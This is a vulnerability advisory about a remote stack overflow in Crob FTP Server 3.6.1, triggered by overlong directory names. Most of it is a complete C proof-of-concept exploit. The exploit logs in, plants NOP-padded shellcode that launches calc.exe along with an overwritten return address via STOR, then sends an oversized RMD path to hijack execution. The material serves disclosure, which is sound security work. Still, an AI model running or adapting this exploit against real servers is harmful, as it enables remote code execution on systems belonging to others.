[EXPL] CrobFTP Remote Stack Overflow (Long Directories, Exploit)

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  CrobFTP Remote Stack Overflow (Long Directories, Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.crob.net/studio/ftpserver/> Crob FTP Server is "a powerful 
and easy-to-use FTP server".

CrobFTP is vulnerable to stack overflow when it tries to handle long 
directories names, the following exploit will cause the execution of the 
calc.exe program on a vulnerable system.

DETAILS

Vulnerable Systems:
 * Crob FTP Server version 3.6.1 (other versions suspected)

/*
 * CrobFTP remote stack overflow PoC
 * ---------------------------------
 * Tested on Crob FTP Server 3.6.1, Windows XP
 *
 * Coded by Leon Juranic <[email protected]>
 * LSS Security / http://security.lss.hr
 *
 */



#include <stdio.h>
#include <windows.h>
#include <time.h>

#pragma comment (lib,"ws2_32")


char *fzz_recv (int sock)
{
        fd_set fds;
        struct timeval tv;
        static char buf[10000];
        char *ptr=buf;
        int n;
        tv.tv_sec = 5;
        tv.tv_usec = 0;

        FD_ZERO(&fds);
        FD_SET(sock,&fds);
        if (select(NULL,&fds,NULL,NULL,&tv) != 0) {
                if (FD_ISSET (sock,&fds)) n=recv (sock,ptr,sizeof(buf),0);
                buf[n-1] = '\0';
                printf ("RECV: %s\n",buf);
                return buf;
        }
        else {
                return NULL;
        }
        
}
        



int login (int sock, char *user, char *pass)
{
        char buf[1024], *bla;
        bla=fzz_recv(sock);
        printf ("recv: %s\n",bla);
        sprintf (buf,"USER %s\r\n",user);
        send (sock,buf,strlen(buf),0);
        bla=fzz_recv(sock);
        printf ("recv: %s\n",bla);
        sprintf (buf,"PASS %s\r\n",pass);
        send (sock,buf,strlen(buf),0);
        bla=fzz_recv(sock);
        printf ("recv: %s\n",bla);
        if (strcmp("230",bla) != NULL)
                return 0;
        else return -1;
        return 0;
}




void lame_sploit (char *pack, char *user, char *pass)
{
        WORD wVersionRequested;
        WSADATA wsaData;
        int sock, err,x;
        struct sockaddr_in sin;
        char buf[2000],tmp[1000];
        

        char *shell=                            // 5 min. XP SP1 shellcode
                "\x33\xc0"                              // xor eax,eax
                "\x50"                                  // push eax (\0)
                "\x68\x2e\x65\x78\x65"  // push '.exe'
                "\x68\x63\x61\x6c\x63"  // push 'calc'
                "\x54"                                  // push esp
                "\xba\x44\x80\xc2\x77"  // mov  edx, 77c28044
                "\xff\xd2";                             // call edx  
(system)


        wVersionRequested = MAKEWORD( 2, 2 );
        err = WSAStartup( wVersionRequested, &wsaData );
        if ( err != 0 ) {
                printf ("ERROR: Sorry, cannot create socket!!!\n");
                ExitProcess(-1);
        }

        sock=socket(AF_INET,SOCK_STREAM,0);
        

        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr = inet_addr(pack);
        sin.sin_port = htons(21);
        
        if (connect(sock,(struct sockaddr*)&sin, sizeof(struct sockaddr)) 
== -1) {
                printf ("CONNECT :(((\n");
                ExitProcess(-1);
        }

        if (login(sock,user,pass) == -1)
        {
                printf ("ERROR: Cannot login to FTP server, sorry!!!\n");
                exit(-1);
        }
        
        memset(tmp,0,sizeof(tmp));
        memset (tmp,0x90,180);


        memcpy (&tmp[80],shell,strlen(shell));
        *(long*)&tmp[158] = 0x77da52b8; // EIP -> ret into 'jmp esp'
        *(long*)&tmp[166] = 0x74ec8390; //                sub esp,0x74
        *(long*)&tmp[170] = 0x9090e4ff; //                jmp esp


        _snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp);

        printf ("DEBUG: %.30s %d\n",buf,strlen(buf));
        send (sock,buf,strlen(buf),0);
        printf ("%s\n",fzz_recv(sock));

        strcpy(buf,"RMD ");
        for (x=0;x<276;x++)
                strcat (buf,".../");
        strcat(buf,"\r\n");

        printf ("Sending exploit strings\n");
        send (sock,buf,strlen(buf),0);
        printf ("recv: %s\n",fzz_recv(sock));


}



main (int argc, char **argv)
{
        printf ("CrobFTP Stack overflow PoC \n"
                    "Coded by Leon Juranic <[email protected]>\n"
                        "LSS Security / http://security.lss.hr/\n");

        if (argc < 4 ) {
                printf ("\nusage: %s <target_IP> <user> 
<pass>\n",argv[0]);
                exit(-1);
        }
        lame_sploit(argv[1],argv[2],argv[3]);

}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Leon 
Juranic.
The original article can be found at:  
<http://security.lss.hr/index.php?page=exp> 
http://security.lss.hr/index.php?page=exp



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